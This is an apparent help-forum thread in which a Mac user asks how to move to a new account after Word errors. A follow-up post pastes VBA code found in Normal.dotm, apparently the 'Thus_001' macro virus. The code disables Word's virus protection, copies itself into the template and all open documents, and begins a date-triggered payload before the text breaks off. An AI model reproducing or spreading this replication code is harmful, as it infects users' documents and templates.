Moving to a new user on my iMac

Question

I've been having problems with Microsoft Word on my iMac (that is running Lion). All sorts of error messages pop up and the program is basically useless to me. In speaking with microsoft they did some troubleshooting and couldn't figure it out, but then suggested I try creating a new  user on my iMac and seeing if I had any problems with word under the new user. That solved the problem. So i'd like to move my iTunes, iPhoto, files, etc to a new user on my iMac and then delete the old user account. I've found a lot of info online about transfering a user account to another mac, but i'm not wanting to transfer my user account. I just want to set a whole new user and start fresh, but bring over my iTunes library, iPhoto, etc. Can anyone point me in the right direction?
Jeff

Answer 1

I moved the Microsoft User Data folder to the desktop and deleted the two files you mentioned and then opened Word but it didn't fix it. I get all sorts of things that pop up in Word:
-A window that says Microsoft Visual Basic at the top and below it says "This Command will stop debugger"
-I get a box that says "Compile error: method or data member not found
-I get a big window that at the top says Normal.dotm-ThisDocument (code) and then has all this in the window:
Private Sub Document_Open()
'Thus_001'
    On Error Resume Next
    Application.Options.VirusProtection = False
    If NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.Lines(2, 1) <> "'Thus_001'" Then
    NormalTemplate.VBProject.VBComponents.Item(1).CodeModule _
    .Deletelines 1, NormalTemplate.VBProject.VBComponents.Item(1) _
    .CodeModule.CountOfLines
    End If
    If NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.CountOfLines = 0 Then
    NormalTemplate.VBProject.VBComponents.Item(1).CodeModule _
    .Insertlines 1, ActiveDocument.VBProject.VBComponents.Item(1) _
    .CodeModule.Lines(1, ActiveDocument.VBProject.VBComponents _
    .Item(1).CodeModule.CountOfLines)
    End If
    If NormalTemplate.Saved = False Then NormalTemplate.Save
    For k = 1 To Application.Documents.Count
    If Application.Documents.Item(k).VBProject.VBComponents.Item(1).CodeModule.Lines(2 , 1) <> "'Thus_001'" Then
    Application.Documents.Item(k).VBProject.VBComponents.Item(1) _
    .CodeModule.Deletelines 1, Application.Documents.Item(k) _
    .VBProject.VBComponents.Item(1).CodeModule.CountOfLines
    End If
    If Application.Documents.Item(k).VBProject.VBComponents.Item(1).CodeModule.CountOf Lines = 0 Then
    Application.Documents.Item(k).VBProject.VBComponents.Item(1) _
    .CodeModule.Insertlines 1, NormalTemplate.VBProject.VBComponents _
    .Item(1).CodeModule.Lines(1, NormalTemplate.VBProject _
    .VBComponents.Item(1).CodeModule.CountOfLines)
    End If
    Next k
    If (Day(Now()) = 13) And (Month(Now()) = 12) Then
    With Application.FileSearch
        .NewSearch